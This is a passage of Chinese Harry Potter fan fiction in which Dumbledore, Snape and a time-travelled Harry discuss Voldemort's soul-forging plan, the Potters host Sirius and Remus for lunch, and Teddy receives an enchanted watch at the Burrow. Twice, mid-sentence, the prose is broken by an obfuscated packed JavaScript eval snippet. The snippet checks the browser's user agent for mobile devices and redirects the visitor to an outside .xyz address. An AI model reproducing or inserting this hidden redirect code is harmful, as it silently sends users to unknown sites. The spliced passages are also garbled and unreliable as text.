“不要被表面的劣势迷惑。”邓布利多的手指敲击着桌面,似乎在整理思绪,“何况人们常会在不经意间留下蛛丝马迹,顺着蜘蛛丝往上爬,总能找到我们想要的东西。” 哈利怀疑地看着他,“阿不思,我不明白你的意思。小克劳奇——”他瞥了瞥小克劳奇,“除了知道伏地魔需要那几件东西来准备什么仪式,别的一概不知,我看不出还能有什么别的更有用的信息。” “恰恰相反。”邓布利多给了他富含深意的一笑,“我们今天的收获其实不小。尽管事实不怎么令人愉快。” 不等哈利提出更多疑问,邓布利多说,“圣诞节那晚,哈利的梦让我们作出两个猜测。伏地魔收集魂器,目的不外乎是为了防止被我们先下手破坏掉——如果他确实拥有哈利你所说的‘记忆’——无论是因为何种原因。又或者,他是想重聚灵魂。” “而今天发生的事证实了其中一个可能性。” “重聚灵魂?”哈利敏捷地问。 邓布利多脸上的表情高深莫测,“是,也不是。” “不管是不是,他都不可能做到。”斯内普冷冷地插话,显然看不惯邓布利多还有心情卖关子。“杀人只会分裂灵魂,不把那份邪恶净化,灵魂是不可能回归完整的。” “很对。”邓布利多颔首,“可惜我凑巧听说过,黑魔法永远不会拘泥于同一种形式。菲尼亚斯!” 一直在假装打呼噜的菲尼亚斯·奈杰勒斯·布莱克懒洋洋地摸摸自己的小胡子,“阿不思,半夜给人差事是不人道的。” 邓布利多习惯性无视了他的抱怨,“请你把那本书拿来。” “那本书?”菲尼亚斯猛然睁大双眼,“你疯了!不行!” “菲尼亚斯,你必须把它拿给我。”邓布利多不为所动地说。 “阿不思,你终于决定把两只脚都踏入美妙无比的黑魔法领域了吗?可我必须义正言辞地拒绝你的要求,这本书是我们布莱克家族代代相传的——” 邓布利多冷冷的声音打断了前者的滔滔不绝,“够了,菲尼亚斯,这句话你说过至少不下50次。而你听到我的话了,如果你还没忘记你的职责。” 菲尼亚斯还想狡辩,可当他看到别的校长都对他怒目而视,红鼻子的校长甚至愤怒地挥舞他的助听器时,他终于无可奈何地举起手,“好吧,好吧!但愿你的脑袋会被诅咒,阿不思。”说着愤然转身离开了肖像。 “我很期待。”邓布利多对着空荡荡的肖像说了句,又转向哈利和斯内普,“在等待的时间里,我们可以谈谈,比如说,关于小巴蒂·克劳奇的处置。” “不能交给魔法部,福吉只会坏事。也不能放他回去。”哈利脱口而出。 斯内普嗤之以鼻,“不用伟大的男孩出声我们也知道不能放他回去打草惊蛇。” “但伏地魔迟早会知道的。”哈利愁眉苦脸地低声咕哝,他对着小克劳奇紧紧地拧起眉头,然后忽然眼睛一亮,“嘿,他可以假扮成马尔福潜进霍格沃兹,我为什么不能假扮成他?正好我可以去探探这个伏地魔的底。”有一句话他没说,这个时代的伏地魔行事处处透着古怪,如果不去确认一下,他内心的不安没法消退。 “绝妙的想法。”斯内普翻了个白眼,“看在梅林的份上,你真的知道‘间谍’这个词怎么拼写么?” 对于斯内普的冷嘲热讽,哈利咬牙切齿,“我不在意再重复一次,我·曾·经·是·个·傲·罗!傲罗训练的其中一项就是间谍的伪装和潜入!我好歹也受过这些训练!”说到这里,他的脸微微泛红,有点不情愿地承认,“虽然我不否认我没有实战经验就是了。” 斯内普再次甩他一个白眼,转头对邓布利多说,“阿不思,我在考虑去向傲罗司投诉他们的失败培训。” “你可以去试试。”哈利没好气地说,“我很怀疑他们是否会受理,因为我甚至不在傲罗名单里。当然,若你是在担心伪装的问题——”他扯过邓布利多办公桌上一卷空白的羊皮纸,“借用下你的羽毛笔,阿不思。”他稍作思索,刷刷地在上面记满了一页清单后,随手扔给斯内普。 斯内普狐疑地看看他,然后把视线移向羊皮纸扫视一遍,随之脸上露出惊异的神情。他把羊皮纸递给邓布利多,并对哈利挑起眉毛。哈利得意地在一旁补充,“复方汤剂的改良版,时效可以维持一个月,而且有解药,随时可以恢复原来的样子。我们那个时代已经在傲罗中广泛使用了。” 邓布利多和斯内普面面相觑。 “好极了,这就是先知也得不到的好处,对吧,西弗勒斯?”邓布利多笑眯眯地把羊皮纸递还给斯内普,后者哼了声,不着痕迹地把羊皮纸折起来收进贴身的长袍口袋里。随后,他犹豫片刻,终是撩起左手的袖管,深吸口气,“那么伟大的男孩肯定有办法解决这个问题吧?” 左手臂上赫然印着哈利十分熟悉的印记——黑魔标记。虽然颜色很浅,但也够骇人了。 再次看到这个久违的、代表着“恐怖”的烙印,哈利默默无语地注视那个被蛇缠绕的骷髅半晌,忽然挥动魔杖,小克劳奇在一道红光中飘浮到空中,晃晃悠悠地飘移了过来,着地的时候头重重地磕了一记。哈利拉开他左手的袖子,露出那个和斯内普手臂上一模一样的印记。 哈利一系列莫名的举动让斯内普搞不清楚他在玩什么把戏,“波特!你最好解释下你在——” 可接下来的一幕让他目瞪口呆——只见哈利把魔杖尖贴住小克劳奇的黑魔标记,当他拿起它时,杖尖带起一丝黑色的线——斯内普发现,黑魔标记消失了一小部分。随着杖尖离黑魔标记越来越远,被带走的黑色物质也越来越多。哈利用魔杖尖贴近自己的左臂,黑色物质随即顺着杖尖自动印上皮肤,渐渐还原成一个完整的黑魔标记。再看小克劳奇已经变得和普通人没什么区别的左手臂——黑魔标记已经消失得干干净净了。 厌恶地对伏地魔的赠品做了个鬼脸,可又很满意自己杰作的哈利看向从刚开始就没吭声的两人——斯内普成功恢复了平常的扑克脸,但哈利注意到,他的袖子被捏得皱巴巴的;连邓布利多也难得的失态了,被咬剩半只身子的蟑螂正在桌上四处乱爬。 并不惊讶于他们会出现这样的表情,哈利搔搔脑袋,讪讪地笑道。“呃,这是战争后赫敏……赫敏·格兰杰想出来的方法,因为即使伏地魔死了这个标记也不会消失。”他耸耸肩,“当初德拉科·马尔福的标记就是这么去掉的,不过那时候一不小心把它转移到空中,结果引起了很大的骚动。” 邓布利多舒了口气,“如果是格兰杰小姐,我相信她有这个智慧。那么这不是伪装?” 哈利摇头,“这就是原来的标记,我现在算是个不折不扣的食死徒了。当然,我可以随时把它再转移出去。”他想了想,用不怎么自在的语气对斯内普说,“唔……斯内普,如果你愿意,我可以帮你——” “嘿,接住。”菲尼亚斯在他背后粗声粗气地说。哈利循声转过头,正好看到他扔过来一本书皮上镶着金边、却没有书名的黑色硬皮书。他下意识地伸手去接,耳边却猛然响起邓布利多的喝声,“哈利,别碰它!” 本来手指离书皮不过一英寸的哈利顿时缩手,书径直向邓布利多的方向飞去。 “这本书从纸到字都是由黑魔法构成的,只要直接碰触它就会受到诅咒。”邓布利多解释道,并让书悬浮在自己面前。 “可他不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156367|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用手拿着吗?”哈利指着一脸幸灾乐祸的菲尼亚斯。 “他已经习惯了。没注意到他的相框是黑的吗?”邓布利多淡淡地回答。 书页自动翻着,最终停在了某一页。 “你们来看看。”邓布利多往后退了一步,让哈利和斯内普凑得更近些。微微发黄的纸上只有短短的一段斜体文字。 灵魂铸造 有别于灵魂重聚。灵魂分裂者可以靠犯下更为邪恶的行为,并通过特定的仪式,把灵魂碎片重新融合到一起,铸造出全新的灵魂。灵魂碎片所沾染的罪孽越深,铸造出灵魂将蕴含诅咒的力量,强大者甚至可以脱离生死。 哈利艰难地咽了口唾沫,“这就是伏地魔的……目的?”旁边的斯内普也是铁青着脸。 “恐怕是的。”邓布利多的脸色也凝重起来,“书上并没有记载具体的方法,但我怀疑就和制造魂器一样,伏地魔应该是找到了重铸灵魂的方法。” “所以他在收集魂器……所以需要独角兽的心脏……”哈利焦躁地踱来踱去,喃喃地说,“缇瓦之链和魔法石也是仪式必要的吗?如果真让他成功了——” “只要条件足够,他会成功的。”邓布利多肯定地说。“肯定被收回的魂器是赫奇帕奇的杯子及拉文克劳的王冕,剩下的魂器将会是关键。” 他停顿了几秒,忽然换了个话题,“哈利,我有个问题一直想问你。你认为,伏地魔会和你还有泰迪一样,是从未来回到这个时代吗?” 哈利愣住了,“伏地魔已经死了。” 抓住他语气中的一丝动摇,斯内普的嘴角上翘,“那也许是你一厢情愿地想当然。” “我说他已经死了!”哈利几乎是气急败坏地冲斯内普咆哮。 “冷静下来,哈利。我知道他死了。”邓布利多抬起手,阻止他再吼下去,“可我们怎么解释这里的伏地魔为什么‘可能’拥有‘未来的记忆’?”眼看哈利的脸色越来越阴沉,邓布利多接着说,“还有一点,小克劳奇是通过厄里斯魔镜才找到拉文克劳王冕的所在。我感到疑惑,伏地魔会不记得自己放的魂器在哪里而让小克劳奇浪费这么多时间去找吗?” 如果说邓布利多一开始的质疑是让哈利愈加不安,那么现在这句话就如同晴天霹雳在他耳边炸响。 他当初也是通过搜索伏地魔的记忆才找到拉文克劳的王冕的。可他却把这事忘得一干二净! 哈利烦躁地咬着下唇,脑际飞快闪过一个个念头,才一字一句地说,“就算他是从未来回来的,也没有理由不知道魂器放置的地点。” 邓布利多颔首,“正确。也说不定是伏地魔精心设计的陷阱,让我们摸不准让他的底细。所以这将会是你和西弗勒斯的任务之一。具体安排过几天我们再详细商量。至于小克劳奇,我会找个妥当的地方暂时关押他,然后明天再联系詹姆斯去确认老克劳奇的安危。” 斯内普点点头,哈利却出人意料地说,“我反对。” 邓布利多惊讶地朝他眨眨眼,“我能问问你反对什么吗?” 哈利瞥了斯内普一眼,“万一这个伏地魔是从未来回来的,他会知道斯内普背叛了他。” 斯内普的脑袋在悲鸣。他敢肯定不是哈利精神分裂,就是他耳鸣了。 一个波特。在关心他的死活? 他眯起眼,挑衅似的抬起下巴,“那么这就会是最好的证据。阿不思,我会去的。” “斯内普!” “波特,停止你那些天真到愚蠢的想法!”斯内普圆滑地假笑道,“你该关心的是自己的伪装会不会第一天就被识破,到时候我不会动一根手指头来救你的。对于黑魔王而言,摄神取念可是家常便饭。” 大概是知道再试图阻止斯内普也是徒劳,哈利心里思量一番,暗自作出某个决定后说,“这点我自有办法。虽然拜某个没半点职业道德的人所赐,我的大脑封闭术比刚入门时还糟。” “不要把自己本身的无能怪罪到别人身上,波特。” “我在大脑封闭术上的无能难道不是你教学上的无能造成的吗?” “我敢说,相较于把才能浪费在教导没有前途的傻瓜身上,我倾向于把它用在更重要的事情上。” “你——” 听着两人一个话不投机又开始没营养的争执,邓布利多感叹,“看来这个暑假会很忙。” 30. 波特家 在伦敦街道上匆匆过往的麻瓜们从来都不知道,或者他们根本不会去注意隐藏在某个夹缝里既肮脏又狭小的酒吧。当然,对于英国的巫师们而言,这里却是鼎鼎大名的破釜酒吧——既是通往对角巷的入口,也是巫师们聊天八卦的不二场所。初次进店的客人也不乏对酒吧里油腻腻黑乎乎的墙壁皱眉的,但来来去去次数一多,也便习以为常了。酒吧楼上还有十几间客房供旅途中的巫师租住,但住的人寥寥无几,更多的是喜欢聚在楼下娱乐消遣——可以说,破釜酒吧永远不会有空闲的时候。 秃着脑门的酒吧老板今天也笑容灿烂,轻轻松松在吧台和桌子之间穿梭不停——整个酒吧就归他一人打理,可他驼背的身子出乎意料地动作敏捷,总能应付自如地照应到每一位客人。自然他的人缘也就极好,其中就包括刚刚结束了一上午紧张工作的两位老熟客。 小天狼星·布莱克揉着太阳穴,将杯中最后一口冰焰麦酒一饮而尽,脸上带着明显的疲惫。他对面的莱姆斯·卢平递过一张刚送来的《预言家日报》。 “还在想沃德尔村的事?”莱姆斯轻声问,语气中带着关切。他知道自己的好友作为傲罗,今天上午一直在那个诡异的现场进行调查。 小天狼星叹了口气,接过报纸却没有立刻打开:“嗯,现场很不对劲。一点线索都没有,就像凭空消失了一样。” 这时,老汤姆端着抹布走了过来。“哦,是小天狼星和莱姆斯。”他冲他们扬扬手,“今天来得挺早,嗯?刚下班?” “随便坐坐,汤姆。”莱姆斯微笑道。 “今天报纸看了吗?头版头条!大新闻啊!”汤姆神秘兮兮地压低声音,“一个村庄的人,不管是麻瓜还是住在那里的巫师,全都失踪了!啧啧,这事可闹大了。”他转向小天狼星,挤了挤眼睛,“听说傲罗司都快倾巢出动了,小天狼星,你们最近可有得忙了吧?” 小天狼星扯了扯嘴角:“确实是个棘手的案子,汤姆。现场很古怪,很多事情还在调查,不方便多说。” “哦?”莱姆斯皱起眉,“这么严重?看来詹姆斯更是焦头烂额了。” “他什么时候闲过?”小天狼星哼了一声,终于翻开了报纸,却直接跳到了魁地奇体育版。显然,他想暂时忘掉工作上的烦心事。 “说起詹姆斯,”汤姆若有所思地摸摸光秃秃的下巴,“我今早好像在对角巷看到他了,不过有点奇怪……” 正盯着体育版的小天狼星和翻看头版的莱姆斯都同时抬起了头。 “他跟霍格沃茨那个……魔药教师在一起。走得挺急的,像是去古灵阁方向。连招呼都没打。”汤姆努力回忆着。 “等……等等,汤姆,你说谁和他在一起?” “就是那个——叫什么名字来着,斯内克?还是斯耐普?” 小天狼星和莱姆斯面面相觑。 “鼻涕精?” “斯内普?” 小天狼星皱紧眉头,“这不可能!他今天早上和我一直在沃德尔村焦头烂额着,刚刚才回部里开会去了。” “是啊,听上去太奇怪了。”莱姆斯也附和道。 “也许我老眼昏花看错了?”汤姆耸耸肩,“不过那个人走路的姿势和发型,真的很像詹姆斯啊。” “算了,不管他了。”小天狼星放下报纸,“走吧,月亮脸,我们去蹭饭,莉莉做的南瓜馅饼可比这里的强多了。” “很高兴不用在我这里吃没什么味道的土豆泥,嗯?”汤姆咧开嘴。 两人留下几个纳特,带着满腹的疑惑离开了破釜酒吧。 —————— 砰——! 波特家的阁楼处再次响起熟悉的爆炸声。 正在厨房忙碌的莉莉在选择性失聪无果后,到底是忍无可忍,砰地摔下手里的平底锅,走到楼梯口向楼上吼道,“哈利·波特!你从大清早起就在上面捣鼓什么?就不能安静点吗?” 阁楼的轰隆声消失了,随之是小哈利不满的声音从楼上传下来。 “妈妈,我在制造男人的浪漫!这是很难控制的。” 这才几岁的孩子,还男人的浪漫?莉莉好不容易忍住爆笑的冲动,火气也因此下去了不少,不过她并不打算就这样放过他,“很好,这个暑假以来你已经把你的房间炸掉五回了,还不包括牵连你父亲书房的那两次。”她下了最后通牒,“今天再来一次,你就得自己收拾干净,没有魔法。” “那不公平!如果是爸爸炸的,你一定会帮他的!” “你爸爸从没有炸过他的房间,他也不敢!”莉莉觉得自己简直拿这个任性的孩子没辙,她一字一句地说,“马上就是午餐时间了,你最好快点下来,在我改变主意要没收你那些玩意之前。” 阁楼上一阵沉默。 “再给我十分钟行吗?”小哈利大概也知道自己的母亲是说到做到的,终于哀求道。 “记住你自己说的。” 得到莉莉的允许,阁楼再次隆隆作响。 莉莉颇为无奈地回到厨房里,一股焦味迎面扑来。“哦,我的馅饼!”在莉莉的尖叫声中,可怜兮兮的南瓜馅饼被从烤炉里救了出来——只不过我们已不能称它为馅饼了,也许黑炭这个新名字更适合它。 悲哀地看着馅饼的残骸,莉莉后悔不迭之余只得安慰自己,“幸好还剩下些面糊,现在烤个小点的还来得及。不过也许不够大家分,看来我得多烤几块牛排。”莉莉很快便从厨房的灾难中打起精神来,几分钟后,烤炉里再次塞进新的南瓜馅饼,而平底锅里咝咝作响的牛排减轻了她烤焦馅饼的罪恶感。 一边用熟练的手法给牛排翻身,莉莉一边在心里琢磨着典型家庭主妇会烦恼的琐事。院子里最近冒出些地精,等会儿等小天狼星他们来了让他们帮帮忙;隔壁新搬来的弗伦兹太太昨天送了自制的苹果馅饼来,她得考虑下回礼的事;哈利准备邀请朋友来家里玩几天,楼上几间空房也得抽空打扫下了。 曾经的女学生主席,如今也不可避免地沾满了厨房的烟火味。 可一想到小哈利,莉莉又气不打一处来。 本来以为入了学校总该收敛点,结果是愈加无法无天起来,连禁林都敢乱闯,他以为他能和当年他父亲那四个疯子比吗?莉莉只要想到若不是那个佩弗利尔教授及时赶到,自己的儿子可能就这么把小命搭在禁林里,就不由得惊出一身冷汗。 但这该死的小家伙,居然还没心没肺地说什么有空还要跑去禁林玩。 真是越来越像詹姆斯年轻时候了,再加上受到那个同样喜欢胡闹的教父的影响—— 莉莉长叹一声,她真想有个更省心点的孩子。 就在她总算开始布置餐具的时候,门外传来了敲门声。而与此同时,阁楼再次爆炸,震耳欲聋的声音让莉莉手一松,盘子激烈地与地面亲吻,碎了。 “哦,看在梅林的份上!”莉莉的怒火再次高升,她几乎忍不住要直接冲上阁楼把小哈利拉出来狠狠教训一顿。但原地踌躇了片刻,她还是恼火地决定先去把外面的人放进来。 于是,出现在小天狼星和莱姆斯面前的是难得臭着脸的莉莉。 “嗨,谁惹到我们一向好脾气的莉莉了?”小天狼星嬉皮笑脸地问。其实阁楼爆炸的时候他和莱姆斯已经站在门外,不用动脑筋都知道这是谁惹的祸。但不敢正面迎接莉莉怒火的小天狼星还是乖乖地假装什么都不知道。 “我把盘子摔了。”莉莉把他们带进厨房,干巴巴的语气显示她还在气头上。 “小问题。”莱姆斯温和地笑笑,魔杖一挥,原本摔得粉碎的盘子顿时恢复如新。 “谢谢你,莱姆斯。”莉莉稍微平静了点,露出今天第一个笑容,“你们来的时间正好,午餐准备好了。” “我已经闻到南瓜馅饼的香味了。”小天狼星贪婪地深吸了口气,“比起破釜酒吧里硬邦邦的馅饼,莉莉亲手做的就像是天堂的美食啊。” 莉莉瞪了他一眼,红着脸嗔道,“油嘴滑舌。我敢说哈利都是跟着你学坏的。” 小天狼星一脸无辜的表情,“这关我什么事了?以我的聪明才智,我可从没把房间炸出个窟窿过。” “别以为我不知道那玩意是你送的。你是教父,要以身作则。”莉莉佯怒道,“还有,你们两个看看,哈利都快十二岁了,再这么吊儿郎当下去你们什么时候才能结婚?” 又来了。小天狼星呻吟,“我们觉得单身不错。对吧,月亮脸?” “别说傻话了,哈利也会高兴有个兄弟的。”莉莉说着急忙向烤炉走去,连着烤焦两个馅饼绝对会是主妇的耻辱。 “那不如你自己生还更快些。”小天狼星低声嘀咕,“月亮脸,你觉不觉得莉莉最近越来越啰嗦了?而且也容易暴躁。” “唔,极有可能是到了更年期的缘故。”莱姆斯作沉思状。 装着香喷喷馅饼的盘子被重重地放在桌上,把他们吓得跳起来,叉着腰的莉莉眼里几乎喷出火来,“我都听到了!”两人吞了口唾沫。“呃,我去叫哈利下来!”小天狼星慌慌张张跑上楼避风头。 莉莉叹息,莱姆斯倒是忍俊不禁。“别逼他了,小天狼星自由惯了。而我——”他耸耸肩,神色间有点落寞,“没人会想嫁个狼人的。” “胡说,喜欢你的人是不会在意的。我们都知道你是多好的人。”莉莉轻声反驳,比刚刚和颜悦色许多,“莱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156368|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姆斯,听说你最近要出书了?” 莱姆斯笑笑,“再过两三个星期会在丽痕书店前摆个摊子售书的。” 莉莉衷心地感到欣喜,“哦,那太棒了,我会很期待那天的。” “谢谢。” “我记得你在做古老魔法的研究?这本书就是关于它的吗?” “不,全称是《论巫师古老魔法和麻瓜现代科技之优劣》。”在他们谈话间,小天狼星已经带着扭扭捏捏的小哈利下楼了,“天知道他是怎么把这两个概念扯到一块儿的。” 莉莉双手抱胸,向躲在小天狼星身后的小哈利挑起一边的眉毛。 小天狼星偷偷撞了下小哈利的手肘,后者才撅着嘴不甘不愿地憋出句,“对不起。” “光‘对不起’三个字实在是不痛不痒,起不到教训的目的。”莉莉哼了声,“午餐后你得独自整理自己的房间,什么时候收拾好了,什么时候可以吃晚餐。明白了吗?” 小天狼星又给小哈利一撞,后者再点点头。 “那么我们开餐吧。”莉莉对小天狼星的识时务和小哈利的认错态度十分满意,心情顿时好了起来,招呼大家落座。 “不等詹姆斯?”莱姆斯看了一眼空着的主位。 莉莉叹了口气,端上刚出炉的馅饼:“别提了,他说中午不一定能赶回来——” 突如其来的开门声打断了莉莉的话头,詹姆斯·波特一脸极度疲惫地走了进来,领带歪斜,外袍上甚至还沾着些泥土。 “詹姆斯!你回来了!”莉莉惊喜地迎上去。 “总算能喘口气了。”詹姆斯给了莉莉一个匆忙的拥抱,然后重重地把自己摔进椅子里,长长地舒了口气。“嘿,大脚板,月亮脸,你们来了。”他有气无力地打了个招呼。 “看来部里的会把你折磨得不惨,幸好没叫我去开。”小天狼星调侃道,但看到詹姆斯眼下的浓重乌青和疲态,语气也缓和了些,“看样子很棘手?” “何止棘手。”詹姆斯揉着额角,莉莉立刻给他递上一杯水。“我宁愿继续泡在沃德尔村那鬼地方,也不想参加什么该死的紧急碰头会——跟那帮官僚扯皮到现在才脱身!” “哦,报纸上说得很吓人。”莱姆斯担忧地说,“会上讨论出什么结果吗?” 詹姆斯摇摇头,灌了一大口水:“很难。这件事发现得太晚,现场早就死气沉沉了,时间也过了两个月,想搜寻残留下的魔法痕迹更是痴心妄想。” 今天上午同样在现场搜查过的小天狼星深有同感地点点头,补充道:“而且没有任何强行闯入或打斗的迹象,就像……人是自愿离开的,或者瞬间消失了。连我都觉得心里发毛。” “听起来真够诡异的。”莉莉担忧地看着丈夫,“那你快吃点东西吧。” “对了,尖头叉子,”小天狼星忽然想起在破釜酒吧听到的事,手向南瓜馅饼伸了一半,带着一丝戏谑的表情问,“你今天离开那村庄后,一直在部里?” “是啊,累死我了,怎么了?”詹姆斯奇怪地看他,正准备拿起叉子。 “那你怎么解释汤姆说早上在对角巷看到你和鼻涕精在一起?” 不等詹姆斯反应过来,一旁的莉莉先叫了起来,“别叫他鼻涕精,小天狼星!你已经不是个孩子了,注意你的言辞!” 小天狼星立刻举手投降:“好吧,好吧,斯内普。汤姆言之凿凿,说看到你和他一起行色匆匆地走着,像是去古灵阁。” “他?斯内普?”詹姆斯简直一头雾水,差点把刚喝的水喷出来,“你在开玩笑吧?我今天根本没进过对角巷一步!而且我怎么可能和他在一起?汤姆肯定是老眼昏花看错了!” “说不定是佩弗利尔教授。”一直因为弄坏东西而垂头丧气、默默戳着牛排的小哈利忽然小声插嘴,“他和爸爸长得很像,被认错也很正常。” 这回轮到小天狼星和莱姆斯惊诧了,他们看看小哈利,又看看一脸“原来如此”表情的詹姆斯。 “莫非,就是你上次信里提到过的那个新来的教师?”小天狼星小心翼翼地问。 “有那么像?”莱姆斯也感到不可思议。 “你们亲眼看看就知道了。”早已饥肠辘辘的詹姆斯懒得多解释,拿过一块南瓜馅饼大口嚼起来。“味道真棒,莉莉!”他含糊不清地称赞道,心里则打定主意——佩弗利尔教授,还有他的教子泰迪·卢平,他的两个好朋友是必须得见见的。 得不到明确解答,也不知道詹姆斯心思的小天狼星和莱姆斯自然还是一脸的狐疑。莉莉只匆匆见过泰迪一面,听了也有些好奇。而小哈利则百无聊赖地啃着牛排,在心里默默羡慕泰迪在罗恩家不知过得有多快活。 31. 挂表与魂丝 泰迪在罗恩家的确过得很快活。 当然,看上去像用几块大石头歪歪扭扭地垒起来的“陋居”,不管是在外观上,还是在内部装潢上,和睿瓦纳之塔完全不是一个档次。不过,相较于诺大的家只有自己和哈利两人冷冷清清地过日子,陋居虽小且拥挤,可不时传出的欢声笑语,甚至是双胞胎制造的爆炸声及韦斯莱夫人的怒斥声,都让泰迪感受到一个大家庭才会有的热闹气氛。 罗恩在红着耳朵根带他参观自己乱糟糟的卧室时,又何尝知道泰迪其实更羡慕他们这种拥有许多家庭成员的完整家庭。 所以,就像当年的哈利,泰迪也很快喜欢上这个处处透着温暖的地方。 在陋居呆了三个星期,几乎每天都是惊喜。即使是自小就在魔法家庭长大的泰迪,也不免对着韦斯莱夫人那只奇特的挂钟惊叹连连。而与此同时,他脑子里也冒出一个想法——如果他能有个类似的钟,那以后就能随时知道哈利的平安与否。 在对抗伏地魔的事上哈利有心不让泰迪接触过多,自然泰迪也不愿让他为难。他只是控制不住内心的担忧,就算他学的魔法连自保都不够用,就算他总得靠哈利来帮忙解围,但他不愿意看到哈利有什么伤痛的时候,只有他被瞒在鼓里,还能没心没肺地和朋友在一边玩闹而不是陪在哈利身边。哈利写信从来是报喜不报忧,既然本人靠不住,他就只能寄望于韦斯莱夫人的挂钟了。 对于泰迪,韦斯莱夫人几乎比对亲生儿子还宠,这点从每天晚餐的份量就显而易见了。因此,当泰迪趁着某天帮忙摆置餐具的时候,带着点忐忑去请教她后,问清楚缘由的韦斯莱夫人二话不说就慷慨地答应教他挂钟的制作方法,甚至自告奋勇要帮忙——毕竟且不论泰迪在暑假期间被禁止用魔法,制作时牵涉到的一些较为高深的魔法也不是十二岁的他能胜任的。 “一点问题也没有,亲爱的。今天下午怎么样?至于挂钟——”韦斯莱夫人漫不经心地挥舞着魔杖,浮在空中的煎锅开始自动在每个盘子里分配刚煎好的香肠,“我想我们能找到更好的东西代替它。” 于是,午后韦斯莱夫人果真找来一块半旧不新、镀金的表面已经有些磨损发黑的怀表,并把泰迪带入书房里。 “你一年在自己家的时间不多,反而在学校里呆的时间更久,总不能带着那么笨重的挂钟到处跑吧。我想了想,给你找了块我父亲以前用过的挂表。你看,还带有表链,这样你就能随身带了。”韦斯莱夫人温和而关切地说,打开表罩,把里面展示给泰迪看。泰迪低头注视着表盘——再寻常不过的挂表,两根静止不动的指针,说明这块表长久不用的事实。但悬浮在表盘上方类似太阳的浮影让他一瞬间睁大了眼睛。 “这里被我的父亲施了点小魔法。每天早上这个太阳的浮影会在3点钟方向,也就是东面的方位升起。等到了晚上,它会沉入9点钟方向,而表盘会变成深蓝色的星空,接着月亮便会按照月相盈亏的过程升起。”韦斯莱夫人在一旁为他解说。“挺有趣的是吧?” 泰迪抬起头对上她的视线,“这一定很珍贵吧,是你父亲的。我……我不能——” “没有的事。”韦斯莱夫人摆摆手,“不过是块廉价的怀表,现在已经没什么人用了,在家里放着也是放着。我倒是担心你嫌它太旧。” “不会的,我很喜欢。”泰迪涨红小脸,急急地反驳道。 韦斯莱夫人的眼神更加柔和起来,“好吧,我们来看看接下来该怎么做。”她用魔杖敲敲表盘,标示着时间的刻度如同扭动的蝌蚪游离盘面,随之化为粉末消散在空中。如今整个表盘仅剩下一长一短两根指针及悬浮在表盘上方的浮影。“你想要标上怎样的新刻度?”做完这一切后,韦斯莱夫人又问。 没多加犹豫,泰迪背书似地一个个报出来,“安全,受伤,生命危险。”韦斯莱夫人讶异地挑起眉毛,“就这样?”他坚定地点点头,“这三个足够了。” 仿佛是首次认识眼前的孩子,韦斯莱夫人深深地注视他,直到泰迪不自在地垂下眼睛盯着自己的脚尖,才伸手抚摸他柔软的头发,“你是个好孩子,罗恩他们真该向你学学。”泰迪脸上泛起红晕,可他没有挣开她的手,相反,他十分享受这种待遇,享受韦斯莱夫人的鸽子守护神所带来的暖意。 没花什么功夫,韦斯莱夫人就按照泰迪的意愿在表盘上印下新的刻度,并在分针上镌刻下哈利的名字,就在她准备去掉时针之际,一直凝神看着她动作的泰迪忽然出声,“韦斯莱夫人,能在这根指针上写上西弗的名字吗?” “当然可以,亲爱的。”韦斯莱夫人头也不抬地回道,甚至没问那个叫“西弗”的是谁,“现在差最后一步就大功告成了。” 泰迪的眼睛顿时亮起来,“真的?” “是的,只要把魂丝注入挂表里,以后你就能从上面看到哈利的那个西弗的情况了。” “魂丝?”泰迪不解地重复道,正琢磨着魂丝是什么玩意,只见韦斯莱夫人却合上表罩,把挂表递了过来。“给你,亲爱的。好好收着吧。” 一脸疑惑地结果挂表,泰迪看看依旧纹丝不动的两根指针,“可韦斯莱夫人,你不是说还要加魂丝吗?” 韦斯莱夫人一愣,笑了起来,“哦,我忘了你可能没听说过魂丝。”她耐心地解释,“用简单的话来说,魂丝就是这块挂表的持有人——”她指指泰迪,“和指针所代表的人——”她又用手指点点表盘,“用特定的魔法制造的彼此灵魂间的连系,某些古老的说法是这种羁绊一旦产生,甚至能指引他们找到对方。不过那只是种传说,我可从来不知道我家那几个捣蛋鬼平时都在哪里鬼混。不管怎么说,当事人不在这个魔法是没法完成的,明白吗?” 泰迪似懂非懂地点点头,同时又有些失望。看来挂表暂时是用不了的,除非哈利和斯内普过来完成这个魔法。问题是,他连他们现在在哪里都不知道。 韦斯莱夫人并没有注意到泰迪失落的神情,她正在瞄墙上的钟,“亲爱的,很抱歉,我得去收衣服,如果你不介意的话——”韦斯莱夫人匆匆离开书房,而泰迪仍然把那块挂表紧紧握在手心,一丝丝银白的物质悄悄从他手心逸出,转眼就被挂表吸收得干干净净。 现在书房里只剩他一人,狭小的空间仿佛空气凝滞般的寂静。 “咔嗒——” 陷入默想的泰迪猛然被惊醒,他狐疑地四下张望,可惜那声音早就溶入了一片静默里。 “咔嗒——”奇怪的声音再次响起。 这次他发现了,这个声音来自哪里。 紧张地咽了口唾沫,泰迪紧闭着眼睛在心里默默祈祷,一把打开表罩,才试探性地睁开眼睛向表盘看去。 果然,两根指针在飞速转动,丝毫没有停下来的迹象。 “不是说魂丝是必要的吗? 看到这一幕的泰迪满脸的难以置信,却又夹杂着些期待。也许—— 